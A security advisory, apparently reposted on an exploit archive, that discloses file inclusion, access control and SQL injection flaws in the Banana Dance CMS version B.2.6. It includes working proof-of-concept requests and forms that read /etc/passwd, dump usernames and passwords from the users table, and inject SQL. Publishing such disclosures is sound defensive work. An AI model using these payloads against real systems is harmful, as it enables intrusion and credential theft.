exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Banana Dance B.2.6 Inclusion / Access Control / SQL Injection

Banana Dance B.2.6 Inclusion / Access Control / SQL Injection
Posted Dec 20, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

Banana Dance version B.2.6 suffers from local file inclusion, remote SQL injection, and improper access control vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
advisories | CVE-2012-5242, CVE-2012-5243, CVE-2012-5244
SHA-256 | 7e95cf4e35b826da73323e2068340d1504e654b6cf48268f922653b2f7de6e3a

Banana Dance B.2.6 Inclusion / Access Control / SQL Injection

Change Mirror Download
Advisory ID: HTB23118
Product: Banana Dance
Vendor: bananadance.org
Vulnerable Version(s): B.2.6 and probably prior
Tested Version: B.2.6
Vendor Notification: October 3, 2012
Public Disclosure: December 19, 2012
Vulnerability Type: PHP File Inclusion [CWE-98], Improper Access Control [CWE-284], SQL Injection [CWE-89]
CVE References: CVE-2012-5242, CVE-2012-5243, CVE-2012-5244
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Banana Dance, which can be exploited to gain access to sensitive information, perform SQL injection attacks and compromise vulnerable system.


1) PHP File Inclusion in Banana Dance: CVE-2012-5242

Input passed via the "name" POST parameter to "/functions/ajax.php" is not properly verified before being used in "include_once()" function and can be exploited to include arbitrary local files. This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.

The following PoC (Prof-of-Concept) demonstrates the vulnerability:


POST /functions/ajax.php HTTP/1.1

action=get_template&name=../../../../../etc/passwd%00



2) Improper Access Control in Banana Dance: CVE-2012-5243

The application does not restrict access to the "/functions/suggest.php" script to unauthenticated users. A remote attacker can read arbitrary information from database.

The following PoC reads data from the 'bd_users' table:


<form action="http://[host]/functions/suggest.php" method="post">
<input type="hidden" name="return" value="username" />
<input type="hidden" name="display" value="password" />
<input type="hidden" name="table" value="bd_users" />
<input type="hidden" name="search" value="id" />
<input type="hidden" name="value" value="%" />
<input type="submit" id="btn">
</form>



3) SQL Injection in Banana Dance: CVE-2012-5244

3.1 Input passed via the "return", "display", "table" and "search" POST parameters to "/functions/suggest.php" is not properly sanitised before being used in SQL query. Although the "mysql_real_escape_string()" function is called on the input it has no effect due to usage of the ` quotes in SQL query. This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/functions/suggest.php" method="post">
<input type="hidden" name="return" value="id`,version() AS version FROM bd_users LIMIT 1 -- " />
<input type="hidden" name="display" value="version" />
<input type="submit" id="btn">
</form>


3.2 Input passed via the "id" GET parameter to "/functions/widgets.php" is not properly sanitised before being used in SQL query. This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

http://[host]/functions/widgets.php?action=get_widget&id=%27%20OR%201=%28select%20min%28@a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by%20%28select%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29%20--%20

3.3 Input passed via the "category" GET parameter to "/functions/print.php" is not properly sanitised before being used in SQL query. This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

http://[host]/functions/print.php?category=0%27%20UNION%20SELECT%20version%28%29%20--%202

3.4 Input passed via the "name" GET parameter to "/functions/ajax.php" is not properly sanitised before being used in SQL query. This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/functions/ajax.php" method="post">
<input type="hidden" name="action" value="get_template" />
<input type="hidden" name="name" value="' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- " />
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Vendor didn't provide a security patch and declined proposal to postpone the disclosure date.

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23118 - https://www.htbridge.com/advisory/HTB23118 - Multiple vulnerabilities in Banana Dance.
[2] Banana Dance - http://www.bananadance.org - Banana Dance is a free, open source, PHP/MySQL program that takes the best of wiki software and combines it with the best of web content management systems (CMS).
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close